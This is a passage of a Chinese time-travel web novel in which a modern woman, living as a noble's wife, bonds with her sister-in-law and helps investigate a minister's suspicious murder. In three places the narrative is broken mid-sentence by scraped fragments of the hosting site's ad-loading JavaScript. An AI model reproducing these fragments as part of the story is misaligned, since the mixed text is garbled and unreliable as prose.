见梁浅到了,萧明汐便喝停了马儿,将马儿拴好,快步朝梁浅走过来。 见萧明汐笑容明媚的样子,梁浅也不自觉的笑了起来。 “嫂嫂回来啦,今日逛的可开心?”萧明汐边喘气边向梁浅问好。 梁浅见她才骑了马,大汗淋漓,还没有来得及擦干汗水边朝自己迎来,梁浅便将自己衣袖中的手帕拿出来给萧明汐擦汗。 梁浅边轻轻给萧明汐擦着汗边说道:“玩的挺好,还给你带了些好吃的好玩的。” 萧明汐接过梁浅手中的帕子,继续擦着汗,听到梁浅这样说,便向梁浅行了一个并不熟练的礼,梁浅忙扶她起身。 “你我姐妹之间,不用这些虚礼。”梁浅笑着说道,萧明汐也笑着应好。 * 两人回到萧明汐的房中,梁浅还是第一次来到萧明汐的房间里面,以前只是知道她住在这里,但是还没有进来过。 萧明汐的房间布置果然很符合梁浅这段时间对她的想象,房间里最醒目的便是萧明汐的那把弓箭,然后是琳琅满目的各种大小武器,都是小巧实用的,虽然比不上萧明渊那个武场里面的多,但是对于梁浅这种房间里什么的都没有的要强多了。 除了各种练武功的器物之外,萧明汐的房中还有很多形状风格各异的小物件,玉佩手链也风格独特。 梁浅又注意到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 萧明汐梳妆台上有一个木雕的小马,可爱小巧,像是有人精心制作的一般。 萧明汐一进屋便到屏风后去找衣服了,任由梁浅参观着,刚拿着衣服出来便见到梁浅盯着那个木雕小马。 梁浅好奇的问道:“明汐,这是你自己做的?好小巧精致。” 萧明汐笑了笑,然后眼神移到那个木雕小马上,然后回答道:“不是,有个笨蛋送给我的。” 然后梁浅便偷看到萧明汐看着木雕的表情有些不同,眉眼都温柔了许多,嘴角还带有一抹笑意。 梁浅嗅到不寻常的信息,眯着眼睛看着萧明汐说道:“看来这个笨蛋不是寻常人哦,明汐。” 萧明汐这才回过神来,和梁浅打闹起来说道:“才不是呢,就是个笨蛋而已。” 萧明汐很快沐浴了回来,坐在桌边边擦着头发边听着梁浅说着给她带的礼物。 梁浅说着说着,看向桌上的那把弓,向萧明汐问道:“明汐,你的骑术箭术怎么做到这么好的?” 萧明汐停下擦头发的手,拿着木梳在手里把玩,“你其实是想问我为何与寻常大家闺秀不同吧。” 听到萧明汐这样的回答,梁浅脑海中闪过一个想法,为何两人的关注点如此不同。 梁浅作为一个现代人,特别是到了大学以后,梁浅遇到过会各种各样技能的女孩子,手工,跳舞,打球,滑板,甚至是散打。 当你惊讶的发现这个女生又有一项隐藏技能的时候,你可能会说:“哇,你居然还会这个,你真厉害,太强了。” 可是现在在古代,仿佛女子的爱好,女子拥有的技能,只能是琴棋书画,理家女工,如果你拥有一个除此之外的特别的技能时,他人只会说:“你居然还会这个,这可不是大家闺秀该喜欢的,以后相夫教子也用不着。” 因此,当看到萧明汐听到这句话时,眼中闪过的一丝落寞被梁浅注意到了,但是很快的,萧明汐眼中又变得更亮了。 “其实嫂嫂,我不是哥哥的亲妹妹,我只是父亲在战场上收留的遗孤,家人都在边关战乱中走了,后来父亲见我孤苦无依,便将我认为义女,那时候很小,并不认识字,只模糊得记得有人叫我小汐,可是我不知道,到底是溪水的溪,还是可惜的惜。”萧明汐仿佛喃喃自语的说道。 梁浅疼惜的看着这个女孩子,走过去帮她理了理头发,拿起她手中的梳子帮她轻轻梳头。 萧明汐看着镜子里面的自己,浅浅一笑,“后来父亲叫我小汐,给我取名字叫做萧明汐,父亲说明月若水,汐水如嫣,以后我不再是那个在泥巴里独自哭泣的小女孩了。” 梁浅听到这里,会心一笑,尽力用自己这几日学会的最简单的发髻给萧明汐盘上,两人相视一笑。 梁浅问道:“先去吃饭吧,等吃饱了,我们再好好聊聊,这次你要好好回答我,你的箭术骑术怎么做到这么好的?可否收我为徒呢?” 17. 第十七章·终于要上班了 梁浅和萧明汐两人手牵着手来吃着晚饭,萧明渊坐在一旁边看书边等着两人,见两人来了,才放下书起身。 在饭桌上,梁浅和萧明汐两人坐在一起,两人低头说着话,满脸笑意,萧明渊也只是宠溺的看着两人,时不时给两人碗里夹菜。 三人正欢欢喜喜的吃着饭,门外边传来急促的脚步声。 月银进来行礼说了一个消息,户部的王尚书今日在家中暴毙,明日将会在王家府中设立灵堂。 房中刚刚的气氛戛然而止,三人面面相觑,萧明渊沉思片刻说道:“知道了。” 几人默默低头吃饭,没有过一会儿,门口的侍从来禀报说,宫中陛下传北安候入宫觐见。 这下几人是彻底放下了碗筷,萧明渊让侍从出去后,和梁浅对视。 梁浅对于第一次皇帝传召有些好奇,以前只是电视剧里面看过,而来到这里的这一段时间,萧明渊有时外出,梁浅也不知道他去干什么,本来想好奇的问问的,但是一想到皇帝这个时间传萧明渊入宫,见萧家兄妹的表情有些严肃,梁浅也就压制住自己的好奇了,同萧明汐一般,关切的看着萧明渊。 萧明渊回应着两人的眼神,笑着说道:“无妨,我去去就回,不用担心。” 萧明汐点了点头,转头拉着梁浅悄声说道:“嫂嫂放心,这会儿宣召想必是陛下请哥哥进宫一同商量要事,嫂嫂不必担心。” 梁浅也笑着朝萧明汐点了点头,萧明渊见状便转身去房间里面换衣服,然后便急匆匆的赶去宫中了。 * 梁浅和明汐回到房间,见梁浅发着呆,萧明汐便拿着自己的木雕小马过来逗梁浅,梁浅转身笑着接过木雕。 萧明汐先开口说道:“嫂嫂不是想知道我这一身本领是怎么学的吗,快坐过来,我讲与你听。” 两人一同坐在桌边,吃着梁浅白天买回来的茶水点心,萧明汐边吃边轻松的和梁浅聊着:“我才被收养之时,前线战事紧张,父亲和哥哥都在军营中。 所以我每日住在边关和州的萧府中,由方嬷嬷照料着我,方嬷嬷虽然以前在宫中干过差事,却不刻板,方嬷嬷自己当年孩子夭折,被夫家说不详休弃了,她却并不相信这些说法。 忍着身心的伤痛四处打听询问,正好遇到当时才起事时的先帝家中招奶妈,嬷嬷去到府中,不仅体贴细微,还勤学苦干,后来父亲母亲成婚,方嬷嬷也不想在宫中了,皇后娘娘便引荐她到母亲处。 所以方嬷嬷她常说女子不应该只仰仗男人,自己也可以闯出一片天地,后来有一次随父亲回京述职,我被京中的女子嘲笑不懂规矩,嬷嬷见我伤心,教了我许多礼仪,却告诉我,教我规矩只是为了应付这些人的,这些不是最重要的,规矩礼仪人人都可以学,这不是欺辱他人看不起他人的工具。 我学这些也不可固步自封,外人要是问道应对即可,自己不可像他人一样矫枉过正,所以我会这些礼仪,可是长久不用自然就生疏了。 也是因为有方嬷嬷的教导陪伴,从小我在萧府就跳上跳下,后来进到父亲书房,我看许多兵书上都有好多绘画,有了兴趣,父亲哥哥若是军营不忙,便时不时会回府中小住,我就缠着他们教我认字,后来慢慢的我就将父亲书房里面的兵书史书看了个遍。 甚至有一次,父亲考察哥哥一个军中的战策,我站在一旁比哥哥都先答了出来,父亲见我聪慧,便在家中教我射箭骑马,他们不在,我便勤加练习,才有今天的身手。 后来,我及笄才一年,父亲去世,我和哥哥都很伤心,可是我也不知道该如何表达关切,便偷偷女扮男装到了军营,军营中的人见我个头小,便只将我分配给医师打下手。”说到这里明汐有些失落。 梁浅笑着说道:“医师也好呀,你还可以学一门手艺,还可以帮助军营中的军士。” 明汐点了点头说道:“是啊,那位医师也是医者仁心,妙手回春,我也在全力救治,只是在看着将士们受伤痛苦呻吟的时候,我就在想,自己一身本领无处可用,自己若能够到战场上,与将士共同杀敌,可以多保护一方将士。” 梁浅看着明汐,满是欣赏,也安慰着她:“你做的很好了,前线将士保家卫国,后方的医师救治患者,都是令人敬佩的英勇之士。”明汐也拉着梁浅的手笑了。 梁浅见夜有些深了,打算起身回房,被明汐按住,“你这会儿回去睡了,看样子好一会儿哥哥才回来,回来很可能就把你吵醒了,好嫂嫂,我们今天一起睡,我还有好多想和你聊的。” 梁浅沐浴后和萧明汐一起躺在床上,萧明汐讲着自己在军队中的所见所闻,和梁浅说到,“等边关战事稳定时,哥哥发现我在军营中,我还以为是侥幸,后来才知道,我在的军队中有一大半的人都认识我,又觉得我是将军之女,不敢敷衍,才安排我到医师处的,哥哥其实也是我进军队不久便知道了。” 说到这里,两人都笑了,明汐又讲起自己的梦,她说梦到自己,是一个威震八方的大将军,所向披靡,战无不胜,将敌人斩于马下,那叫一个英姿飒爽,英勇无比。 梁浅隐约感觉自己怎么好像在哪里听到过类似的话,听着听着自己忍不住困意,便先睡着了,明汐说着说着也不知不觉的睡着了。 明汐早上起来得早,一大早就已经起床到院子里面练武擦弓,梁浅在床上睡了好一会儿才慢慢爬起来看着透过窗照进来的阳光。 听到明汐的动静,梁浅便换了衣服走了出来看看明汐的“表演”,梁浅坐在院中的石凳上笑着看着明汐。 明汐这会儿已经换了一把漂亮英气的剑在手中舞动,看到梁浅也只是笑着打了招呼,手上脚上的动作仍然没有停。 就在梁浅看了没有一会儿,萧明渊突然跳出来,拿起一旁明汐的另一把剑,和明汐比试起来。 明汐反应极快,立刻就接到了萧明渊几下出击迅速的招数,然后两人缠斗起来,不分伯仲。 但是或许是萧明渊的实战经验更多一些,将萧明汐逐渐往院子边缘的台阶处逼近,萧明渊拿着手中的剑仍然在快速的朝萧明汐处挥舞着。 明汐忙着阻挡招数,想寻找时机出击,显然没有注意到自己的脚下,已经退到走廊的台阶上,果不其然被绊了一下,一下就坐到了台阶上,萧明渊也就顺势将剑指向萧明汐说道:“明汐,你输了。” 明汐笑着说道:“哥哥好计谋,看来我的剑术还是不如哥哥。” 萧明渊收剑伸手拉明汐起来说道:“许久没有同你比试,对比上次,也算进步神速了,只不过你太关注我的招式,反而忽略了自己脚下。” 两人并排着朝梁浅走过来,梁浅刚刚看着两人这般比试,加上萧明渊有些假装不经意的露出自己的战术,心里觉得这两兄妹倒是有趣得很。 梁浅给两人都递上手帕,萧明渊笑着接过手帕说道:“走吧,先去吃饭,想必正午旨意就会到。” * 在饭桌上,萧明渊才说起自己昨夜进宫,陛下究竟吩咐了什么。 原来昨日王尚书突然在家中暴毙,可王尚书平日里注重养生,身体康健,人也正值壮年,这暴毙的消息一传来,之前清查朝中贪污军饷的事情被推迟,加上科举事宜将近,许多因素叠加,让皇帝不得不怀疑这件事情没有这么简单。 况且王尚书之死的消息传来不久,王家便说抓到了凶手,说就是王府书房中的书童,于是便打算以奴婢杀主草草结案。 因此陛下认为这将会是一个很好的机会,若借由王尚书之案的真相可以重启之前贪污军饷的调查,也可以顺藤摸瓜确定这幕后的主手,即使不能一击必中,也能斩断某人的助力。 梁浅听完便回应道:“所以陛下想让你去调查这个案子?一是想让以你为代表的某些回京的武将吃颗定心丸,从而借之后重启案件告诉众人,陛下还是重视一众武将,一众年轻将领的。二是想借此提拔你,让你形成势力去帮陛下对抗丞相。” 萧明渊看着梁浅,没有想到她如此直白的说了出来,况且看得如此全面透彻,这件事背后的原因怕是萧明汐刚刚听了也只能说出一半,而她竟然都看了出来,并且这么大胆直白的说了出来。 萧明渊假装淡定的点了点头,萧明汐听到梁浅刚刚的那番话,同样也是有些吃惊的说道:“嫂嫂以后还是别直接说臣相了,让别人听到怕惹起非议,一切还是小心为好。” 梁浅刚刚也只是结合之前从萧家长辈口中听到的信息,以及自己上街时有意无意听到的他人的议论得出的结论,也只是想到就说了,并没有在意到丞相的势力等事情,听到萧明汐这样说,梁浅便笑着点了点头,然后继续低头吃饭。 萧明渊这时候却说道:“在家中只有我们几人,无妨,烟晴说得很对,陛下自从登基以来,受到丞相许多牵制,丞相如今在朝中位高权重,此次我回来,明眼人都知道,是陛下想扶持我与丞相分庭抗礼,臣相大人不也是我一回京,就四处撒布陛下失信于我的谣言?” 梁浅得了萧明渊的肯定,便又兴致勃勃的问道:“那陛下让你查案,不可能只顶着北安候的名号去查吧,可是给你又转任了什么官职?莫非一会儿的旨意便是?” 萧明渊笑着点了点头,说道:“正是,陛下让我任大理寺丞,统领京中大小刑狱案件,这次的王尚书案也需要重新再详查。” 梁浅边沉思着,边脱口而出,“那这个案件,陛下可有向夫君提及什么案情?话说,这奴婢杀主,不是罪加一等,如今这书童,若不是他人派来的伪装杀手,怎么有这样的胆量敢杀王尚书?况且他杀王尚书的原因是什么,他也并未因此得到什么好处吧。” 萧明渊和萧明汐听到梁浅这样说,都齐齐转头过来有些吃惊的看着梁浅。 以前他们萧家只听说柳家女儿也算是大家闺秀,便以为柳烟晴应该看的书都是女德女诫之类的,却没有想到眼前这人好像对刑律法典还有所了解,提出的几个问题也正中案件的关键。 萧明渊眼睛中闪过一刻怀疑,很快又恢复镇定道:“陛下对此案的细节并未提及太多,明日我去大理寺翻阅卷宗便知,倒是明日下午,娘子须同我一道去到王尚书府中吊唁,我顺便会带人去提那书童。” 梁浅点了点头,又反应过来:“那书童还在王家?” 萧明渊回应道:“是,那书童其实被王夫人亲自发现在王尚书死亡的当场,于是当下便被扣了下来,可昨日大理寺说发生了命案要去调查,王家只说王尚书是突然暴毙,并无外伤,更不让大理寺的人进房屋详查。 没有想到后来陛下重视此事,说要派身边最得力的李公公来王家探望,更会赐予一顶玉冠给王尚书以示悲痛。 王家才火急火燎告到大理寺,更有王家在宫中得力的人告到陛下面前,说王尚书是被杀的,王夫人受惊过度,才醒了过来,众人才知晓,凶手正是那书童。 也是这一闹,陛下更确定了心中的怀疑,昨日才在那个时辰召我进宫。” 萧明渊说完,才意识到,不知道是什么原因,自己竟然对身边的人放下了以前那般戒备,将实情都与梁浅说了,或许是从她的话语和语气中感受到她的与众不同,又或许是内心中对她的信任远比自己想象的还多。 梁浅听完,沉思许久,半响抬起头,见萧家两兄妹虽然还是在吃饭夹菜,可眼神时不时往自己这里看来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛在等自己的答案。 梁浅此时才意识到,自己之前的伪装,说自己要好好伪装大家闺秀的柳烟晴,竟然在听到案情之后情不自禁的透露了这么多,这两人不会看出来什么的吧,话说这个时代的女子应该是不敢谈论这些刑事案件的吧,不仅是因为这种事并不常见,更是这些事情往往只是男人的工作,若是女人谈论,男人或许会觉得多管闲事。 于是梁浅便又装了起来,“哈哈,我也就是在一些奇奇怪怪的话本中看过一些故事,所以刚刚有感而发,夫君不会见怪的吧。” 萧明渊抬起眼与梁浅对视,说道:“娘子聪慧,得妻如此,夫复何求,娘子不必藏拙,有什么只管大胆的与为夫说,况且娘子的许多想法倒是比我想得全面长远。” 梁浅被这样一夸反而有些不好意思了,其实自己这些东西不过是自己在现代学的法律知识加上自己喜欢看各种真实案件解说得出的经验,要感谢还是感谢案例解析的老师吧。 梁浅也是这时候才真的感觉自己穿越过来后终于还是活着的感觉,用到以前的知识的时候,自己才有曾今活在现代的梁浅是真实存在过的,不是一场梦的实感。 几人吃完饭,便又讨论了起来,萧明渊问道:“娘子听了我刚刚的描述,可有什么想法?” 梁浅看着手中的茶,几片茶叶起起伏伏,被滚烫的茶水泡的在杯中变得柔软,梁浅说道:“如此听来,这王家想必知道许多内情,侯爷若想更多的人证物证,可等不得明日了,或许得了旨意,侯爷便得尽快去大理寺调卷宗了。” 萧明渊原本还不紧不慢的喝茶,听到梁浅的话,便将茶水放下,身体前倾,认真的看着梁浅问道:“娘子此话怎讲?” 梁浅本来不想多管闲事,可是想到若那书童是被冤枉的,自己的袖手旁观不就直接将他推向深渊,更何况梁浅也是在这些事情上仿佛才又找到自己价值的感受,最后便是看着两兄妹可能对刑律了解不多,提点他们几句也没有关系。 梁浅回应道:“若王家知道内情,如今又不愿放人,那书童任由关在王家,若意外得了个伤痛病痛,到时候大理寺去晚了,便死无对证了。” 萧明渊自然懂了梁浅话中的意思,默默点了点头,看着茶水沉思着。 不一会儿圣旨便到了,众人都来听旨,梁浅也意识到,若之前自己的猜测没有错的话,萧明渊得了圣旨想必会拿到祠堂去,到时候自己一同更着去便可以看看以前的圣旨在不在,找到密诏后,到时候再根据内容和形状做个假的换上去应该就没有什么大问题。 果然萧明渊接旨后,先是客套的给来颁旨的公公寒暄,后来便是见万星拿出一个貌似不轻的布袋递到了公公手上,公公才又和萧明渊道喜才离开。 这一幕看下来,梁浅看着游刃有余的萧明渊,仿佛意识到,他其实没有自己想象的不通人情事故,反而是礼数非常周到,各个方面都有考虑到,那他的真实面孔还有多少呢。 梁浅跟着萧明渊一起来到了祠堂,果然在上次她没有注意到的一个房间,里面满满都放着圣旨。 萧明渊将这次的圣旨圣旨先拿到萧老将军和萧老夫人的灵前,萧明渊同梁浅一同跪拜,梁浅只听得萧明渊诉说着自己如今的官职,陛下交代的事情,最后只听得一句,“儿子必竭尽全力,如今孩儿一切安好。” 接下来就是梁浅看着这萧明渊将圣旨放到提前准备好的桌子上,然后看着这一个屋子的圣旨,梁浅实在是不知道从何找起。 梁浅向萧明渊问道:“这都是给萧老将军和你的圣旨吗?真是好多,我的意思是真是光宗耀祖。” 看着梁浅吃惊的表情,萧明渊骄傲地说道:“是啊,不过大多都是先帝给父亲的,父亲与先帝从小便相识,后来先帝起事,父亲也是一直跟着先帝征战,后来去镇守边关,所以这圣旨,光是有关战事战役的就有几十件,更别说赏赐了。” 梁浅收了收吃惊的下巴,然后飞速的想着对策,转头对萧明渊说道:“你说哪些是关于你的,我想看看。” 萧明渊大大方方的给梁浅指了指,梁浅只是敷衍的看了一眼内容,便恭恭敬敬的又放了回去,然后在最靠近这些旨意,且在一众圣旨中看着比较新的几个中走了过去。 梁浅小心翼翼的打开,然后尽力的记住里面的每一个字,辨认着里面的具体内容,看到这张桌子摆放的最后一个时,梁浅注意到,圣旨上有几滴血迹。 萧明渊走了过来,接过梁浅拿着的圣旨的另外一边,看着血迹说道:“这是父亲去世前先帝下的最后一个旨意。 父亲当时身体已然是不行了,我回京述职将这封圣旨带回来时,这件事还被有心人告到当今陛下面前,说父亲不敬天子,但还好陛下说父亲为了边关战事废寝忘食,鞠躬尽瘁,劳苦功高,这便是最好的证明,有了天子明示,众人才不敢议论。” 梁浅看着内容陷入沉思,经过萧明渊这样一补充,显得手中的这圣旨更加的与众不同了,梁浅也联想到,密诏或许就和这有关,不然怎么还有人专门关注到这封圣旨,还专门在这上面做文章。 梁浅表面上波澜不惊,只是恭敬的又将圣旨放了回去,还对着恭敬的行了一个礼。 * 梁浅与萧明渊换好衣服便准备出发先到大理寺,本来梁浅到这里是不想再管的,想着提示也已经够多了,可是萧明渊却一直在和梁浅说,表面上是去王家吊唁,但是其实也要提人调查,梁浅和萧明渊是新婚夫妻,若是不一同去吊唁,或许引人猜忌。 于是梁浅便无奈的坐上了马车,萧明渊到了大理寺领了卷宗,带了大理寺的人,才一队人浩浩荡荡的朝王家出发。 18. 第十八章·查案进行时 梁浅看着萧明渊都将卷宗拿到了车上,原本她想象这种命案卷宗应该会写很多,可是却只有很轻薄的一本。 萧明渊见梁浅盯着自己手中的卷宗,便先将卷宗递给了梁浅看,可由于之前王家人拦着不让大理寺的人进去,加之王府一众人都说王尚书并非他人所杀,本来大理寺就打算如此结案,所以卷宗记载的和梁浅在萧明渊那里听到的相比没有什么多的信息。 梁浅将看完的卷宗递给萧明渊,然后说道:“你进到大理寺后,有没有发现什么可疑的地方。” 梁浅心想,王家人这么放肆,如果不是圣上下旨要查这件案件,想必这会儿大理寺已经结案了,所以很可能大理寺中也有和王家有关的人。 萧明渊边翻着手中的卷宗边回应道:“暂时看不出什么异常,我这的上一任前辈在今年告老还乡了,这个职位空缺也不算很久,倒也没有引起他人的太多猜疑。” 两人都陷入沉思,梁浅突然想到,那如今自己和萧明渊两人到底是以什么样的身份到王尚书的灵堂的,于是梁浅开口问道:“夫君,那一会儿我们到了王家附近可是要先让他们在远处等候,我们两人进去征求王家人同意后再叫仵作进来验尸?” 萧明渊看向手中的卷宗回答道:“我们可是奉旨行事,若是一去就客客气气的,怕是王家人还觉得我这新上任的大理寺丞是个好欺负的,哪怕谈不拢我再将陛下搬出来他们也有得闹,不如直接去就亮明身份,该查的查,该办的办,王家若是看得清的,自然也不敢阻拦,这种事情少些客套好。” 梁浅心想这人不愧是沙场征战出来的,倒是一点不拖沓,确也很有点杀伐果断的气质。 梁浅也小声吐槽道:“那既然大人已经想好对策,其实不止是要我来掩护这么简单吧?” 萧明渊轻笑一声,说道:“这不是见你看事情眼光独特,想请你来帮忙的,况且,此案的重要证人正是王家的王夫人,大理寺的人都是男子,怕是在王家女眷中探问多有不便,一会儿还得请娘子多帮忙探问才是。” 梁浅抱着手向后靠了靠,然后一脸傲娇地说道:“哦,这样看来是有求于我,要我帮忙简单,我甚至可以帮你一起办这个案子,不过事成之后你要答应我一个条件。” 萧明渊笑着点了点头说道:“可以,那得看你的本事能不能办成了。” 梁浅哼了一声,“说道做到,不能反悔。”萧明渊点了点,梁浅计谋已然得逞,心想到时候问他要个上百上千两的银子,自己就算有赚头了,梁浅边想边偷笑着。 * 转眼一队人就来到了王家,这会儿没有什么人来王家,原本在灵堂的一些来客,也是见到萧明渊一行人浩浩荡荡的进来便赶紧行礼离开了。 此刻堂上就只有萧明渊和梁浅,披麻戴孝的一位妇人和一少年,当然,还有躺在棺材里面的王大人,而大理寺的人和万星月银都站在院子中待命。 梁浅刚刚在车上听萧明渊的描述,还以为他会扮演一个凶神恶煞,不留情面的阎王形象,结果没有想到,一进到灵堂,萧明渊是先礼数周到的向死者行礼敬香,然后走到一旁那妇人和男子的面前回礼。 梁浅也学着萧明渊的样子行礼敬香,走到萧明渊身边时,才听到几人的对话。 “夫人公子节哀。”萧明渊朝王夫人行礼道。 王夫人这几日仿佛受了许多打击,面容憔悴,语气虚弱的回道:“谢大人关切,大人今日来不是只来吊唁这么简单吧。” 王夫人抬眼看着萧明渊,梁浅此时注意到她的眼神还是很有力,她一直盯着萧明渊的眼睛,好像要把什么看穿一般。 萧明渊避开王夫人的眼神点头肯定的道,“是,陛下下令要彻查此案,如今晚辈携大理寺众人来是想向夫人了解这其中内情,为王尚书讨回公道,无论凶手是谁,晚辈都会将其绳之以法,不会随便冤枉一个好人,也不会放过一个坏人。” 王夫人听到这才无奈的转头将叫他儿子到一旁,并未做阻拦,萧明渊则叫了仵作上前开馆验尸。 梁浅让众人用白布将仵作验尸的现场围住,拉着一旁全神贯注盯着棺材的萧明渊朝王夫人走去。 梁浅刚刚注意到王夫人的神情,所以赶紧过来分散她的注意力,“这场面太过吓人,夫人不要吓到才好,敢问夫人,可还记得王尚书遇刺时的情形?” 萧明渊看出了梁浅的用意,听梁浅边说着边伸手在桌子上倒了一杯茶递到王夫人的手中。 王夫人喝了口茶,才回忆道:“昨日原是休沐,不用上朝,可天都还没有大亮,夫君便起来说要到书房去写一份折子,我想他定是想了一夜,才下了决定,也就没有过问。 我起来后便去厨房做了吃食,想给夫君拿过去,可是才走到门口,便发现大门敞开着,门口也没人候着,我寻思平日夫君处理公事都不许旁人打扰,今日为何如此异常,心中就已经有些不安了。 结果我一进门,便见到夫君书房中的书童墨白手里正拿着刀,而老爷身上流着血,我当时便大叫着晕了过去。 等我醒来,便只听众人说,夫君已然去了,那墨白也当场被抓到柴房中关着了。” 王夫人说完便又拿出手帕来拭泪,梁浅再一下车便带了一个小册子和笔,边听边记录,写得其实很潦草,旁边一同记录的文书先生也看不懂,梁浅其实写得简明扼要,自己看得懂就行,谁让遇到这些事都有肌肉记忆了,要写笔记好像才能理好思路。 听完王夫人所说,梁浅和萧明渊转头对视,萧明渊轻轻抬头示意梁浅先问,梁浅便拿起笔记向王夫人问道:“夫人,这书童可还在书房关着?” 这书童可是关键证人,可不能有什么闪失,所以梁浅最先关心的便是这书童,王夫人点头说道:“在,还关在书房, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小翠,领大人去。” 梁浅和萧明渊一对视,萧明渊便派了大理寺的人跟着那侍女去提人。 梁浅还没有问下一个问题,这王夫人便自顾自的说了起来:“昨日我还未醒,所以家里人并不确定这究竟是怎么回事,大理寺的人来了都拦在的外面,还望大人恕罪。” 梁浅本来低头写的笔停了一下,然后抬眼疑惑的看着王夫人,王夫人不敢与梁浅对视,只是有假装掩面哭泣。 梁浅疑惑在于,王夫人的描述最开始听着倒是感觉像是实情,但是后面自顾自说的这所谓恕罪的话倒是显得非常奇怪了,不仅像是刻意解释,还像是提前学会的套话一般。 且梁浅听到这番话时,不由觉得王夫人的话前后矛盾,王夫人先是说她看到王尚书身上都是血,而后又说他人不能确定案件的真相,而且既然都将凶手扣了下来,又怎么会觉得这只是自然死亡这么简单。 正当梁浅想开口问的时候,萧明渊先问出了梁浅想问的,“夫人说的众人究竟是谁?我见公子年龄尚小,还未到主事的年龄,这几日府中慌乱,究竟是谁在主事呢?” 梁浅其实也是想问这王夫人晕了之后,这些消息,还有各种事物到底是谁在处理,梁浅原本第一感只是想到说这府中上下这么多人,想必是管家或者侍卫侍女们一直照顾着,而且这么大的府邸,肯定对于这些突发事件也是有培训的吧。 可是当萧明渊开口的时候,梁浅意识到,自己眼中的众人是不分奴婢主仆的众人,而王夫人和萧明渊口中的人却不是。 王夫人还在抹着眼泪,王尚书的儿子回答道:“是我的舅舅们,舅舅们正好前些日子进京来看望母亲,所以听说此事,府中的人便朝舅舅们报了去,舅舅们见到这些事也是慌了神,所以处理事情处理得不够妥当,这会儿说是家里的田庄上出了些事,舅舅们都赶了过去,还望大人见谅。” 梁浅还是对这少年有些惊讶,原想他半晌不说话是个怕事的人,结果没有想到说起话来倒是有几份成熟,而且滴水不漏。 梁浅感觉此时的问话有些停滞,便给了萧明渊一个眼神,萧明渊心领神会,随即朝王夫人问道:“夫人可否带我们去王大人的书房一观。” * 走在去书房的路上,梁浅和萧明渊并排走在一起,梁浅悄悄问萧明渊他带来的仵作是否靠谱,萧明渊点了点头,然后轻轻俯身在梁浅的耳边说:“放心,我叫了万星在看着,月银也悄悄带人在府中四处探查了。” 梁浅点了点头,朝萧明渊做了一个六六六的手势,萧明渊有些不明所以的看着梁浅,梁浅偷笑,然后悄声说道:“这个的意思是你很厉害,我表示敬佩。” 萧明渊听完梁浅的解释便笑了,然后点了点头,过了一会儿,也转身学着梁浅刚刚的样子做了一个六的手势,然后在梁浅的耳边说道:“你今天也很厉害,我也敬佩。” 19. 第十九章·查案进行时二 一进到房间里面,便闻到一股刺鼻的味道,这间书房因为案发后一直关着,所以房间中还有一种闷了许久的霉味。 梁浅向王夫人问道:“夫人可还记得当时王大人,身处何处,是什么样的姿态。” 说着王夫人往房间正中的木椅边走去,跟随着王夫人的脚步,梁浅注意到脚下的地毯好像有过什么痕迹,却被清洗过一样。 王夫人指了指木椅,然后描述道:“我当时进来,便看到老爷坐在这木椅上,仰着面脖子还留着血,而那书童就站在这里,手里还拿着刀。” 王夫人边说着自己的手还在抖,王公子便赶紧上前扶着王夫人,梁浅还在细致的查看着王尚书遇害现场的一切。 萧明渊则开口问道:“那也就是说夫人没有看到墨白亲手杀了王大人,对吗?” 王夫人勉强的点了点头,然后梁浅才站起身问道:“敢问夫人,夫人可还记得当时进来的时候王大人身上的血都流到了何处。” 王夫人回忆着,然后说道:“就是从他的脖子流了下来,流到上身的衣上。” 梁浅眼神犀利的看着王夫人说道:“没有别处了吗?除了顺着流到衣服上的血迹,没有其他了?” 王夫人摇了摇头,见状梁浅和萧明渊眼神对视到了一起,萧明渊对王夫人说道:“夫人这些天也累了,夫人和公子先回去休息吧,我和大理寺的人还会在这里再待一会。” 两人临走时,萧明渊又让王公子把府上的管家叫了过来,梁浅则又仔细的观察着王尚书的那把椅子。 椅子是木制的,可当时王尚书仰面流着血,这椅子上却没有血迹,梁浅实在是觉得可疑。 管家来后,梁浅向管家确认了屋子里面的家具都没有换过,不过王家的那个大舅曾经叫他们来打扫过,不过因为家里人心惶惶,所以侍女们因为害怕打扫得并不仔细。 所以才会没有怎么看到大量的血迹,可是房间中还是有一股血腥味道的原因,并且根据管家和侍女的回忆,血迹都主要是在王大人的衣服上。 梁浅在房间里面四处看了看,然后发现书桌旁的一扇窗户仿佛有些没有关严,梁浅并不急着走过去,先是叫了萧明渊和大理寺的方大人,还有文书记录的先生等都过来和自己一同查看。 梁浅指向没有关严的窗户,一旁的管家也凑过来看,管家尴尬的笑着说道:“许是下人们打扫时没有关严,有所疏忽了。” 梁浅轻轻在旁边的窗户上抹了一下,给众人展示自己手上的灰尘,管家才不再反驳。 萧明渊明明一早就知道梁浅的用意,还假装惊讶的说道:“看房中其他的窗户都关的很好,就这一扇窗没有关好,真是可疑。” 也是萧明渊这一说众人也环视四周确认了这不同之处,文书大人也将这一细节记录了下来。 方大人是在场资历最老的,他小心翼翼的伸手打开窗户,窗框有一层灰,倒像是人鞋底的灰尘,可是却看不出形状,他探头往外看去,外面的地上却有着一个明显的朝外的脚印。 方大人惊呼,众人皆探头来看,梁浅和文书先生都将脚印形状立刻画了下来,萧明渊看着脚印说道:“方大人办案经验丰富,你看这样子可是一个成年男子的脚印?” 方大人摸着胡须点了点头,回答着:“看样子形状步态应该如此,不过王夫人刚刚说那书童是站在王大人身旁,后来也被府中的人当场抓住了,那这朝外的脚印又是从何而来?” 梁浅说道:“方大人这样说来,意思是书童是凶手这件事存疑?”梁浅故意将这样的结论往方大人的身上抛了过去。 方大人只是气淡神闲的说道:“嗯,倒也是不无可能。” 梁浅就知道这些老狐狸不会这么简单上套,每句话都留有余地。 此时梁浅又转头问向管家:“除了上次让人来清理那边的现场之外,在此之前书房最后一次打扫是什么时候?” 管家说道:“嘶,按府中的规矩侍女每日早晨便会来书房打扫,老爷离世的当日正是见到夫人晕倒,几个侍女才来报我的,但前一日的打扫是做了的。” 问完这些,梁浅和方大人还有萧明渊说道,让大理寺的人将现在房中的格局细节就一一画下来,而且不能再让他人再靠近这个现场,防止破坏证据,萧明渊俯身听得连连点头。 